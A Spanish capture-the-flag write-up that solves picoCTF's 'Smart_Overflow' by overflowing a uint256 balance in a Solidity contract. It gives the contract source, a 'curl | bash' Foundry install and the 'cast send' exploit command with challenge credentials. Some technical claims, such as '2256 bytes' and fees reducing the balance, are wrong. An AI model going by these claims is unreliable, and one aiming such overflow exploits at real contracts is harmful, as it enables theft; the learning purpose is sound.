Smart_Overflow writeup

Descripción
Welcome!
The contract tracks balances using uint256 math. It should be impossible to get the flag… Contract: here
Smart_Overflow solución
Descargamos el archivo .sol y examinamos su código:
pragma solidity ^0.6.12;
contract IntOverflowBank {
mapping(address => uint256) public balances;
address public owner;
string private flag;
bool public revealed;
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
event FlagRevealed(string flag);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
constructor() public {
owner = msg.sender;
revealed = false;
}
function setFlag(string memory _flag) external onlyOwner {
flag = _flag;
}
function deposit(uint256 amount) external {
uint256 oldBalance = balances[msg.sender];
balances[msg.sender] = balances[msg.sender] + amount;
emit Deposit(msg.sender, amount);
if (!revealed && balances[msg.sender] < amount) {
revealed = true;
emit FlagRevealed(flag);
}
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] = balances[msg.sender] - amount;
emit Withdraw(msg.sender, amount);
}
function getFlag() external view returns (string memory) {
require(revealed, "Flag not revealed yet");
return flag;
}
}
De todo el código, vemos que, por un lado, ‘revealed’ debe ser true:
require(revealed, "Flag not revealed yet");
Para que revealed sea true hay que cumplir la siguiente condición:
if (!revealed && balances[msg.sender] < amount) {
revealed = true;
emit FlagRevealed(flag);
}
Por un lado, que revealed sea falso y, por otro, que el balance que quede en la cuenta tras realizar el depósito sea menor que la cantidad que se ha enviado, es decir, hay que realizar un desbordamiento de ‘uint256’.
Si accedemos a la documentación de Solidity, veremos que ‘uint256‘ admite 2256 bytes. Dado que la información la enviaremos en hexadecimal, tendremos que enviar 64 ‘f‘s (256/4=64).
python3 -c 'print("f"*65)'
En este caso, añadiremos una f más, dado que perderemos parte del dinero como tasa al realizar la transacción. Guardaremos esta cadena de ‘f‘s e instalaremos ‘Foundry‘ para poder interactuar con el servidor de blockchain:
curl -L https://getfoundry.sh/install | bash && foundryup
Una vez realizado esto, prepararemos el comando para enviar las 64 ‘f‘s:
cast send $BANK "deposit(uint256)" fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff \
--private-key $PRIVATE_KEY \
--rpc-url $RPC_URL \
--legacy --gas-limit 224410
Lo que realiza el comando es lo siguiente:
- cast: Herramienta para interactuar con Ethereum
- send: Crea, firma y envía una transacción a la blockchain
- «deposit(uint256)»: Es la función del contrato que queremos usar.
- private-key: Es nuestra clave privada con la que se firmará la transacción
- rpc-url: Es el nodo Ethereum al que se enviará la petición
- legacy: Necesario para evitar errores al interactuar con el nodo en este caso.
- gas-limit: Dado que el servidor no mostraba cuánto costaba realizar esta transacción, se ha puesto como límite un número alto.
Tras sustituir los datos se quedaría así:
cast send 0x6D8da4B12D658a36909ec1C75F81E54B8DB4eBf9 "deposit(uint256)" fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff \
--private-key 0x89a4b625752a2091e0e363a2dbf3f97b01e4a11cb3e61d8a7f9e3187069a0d50 \
--rpc-url http://mysterious-sea.picoctf.net:62376 \
--legacy --gas-limit 224410

Al consultar la página, veremos que se ha producido el desbordamiento y tendremos acceso a la flag:

Consultor de ciberseguridad especializado en continuidad de negocio y respuesta ante incidentes. Interesado en analizar tecnologías desde una perspectiva de seguridad y descubrir su comportamiento real.
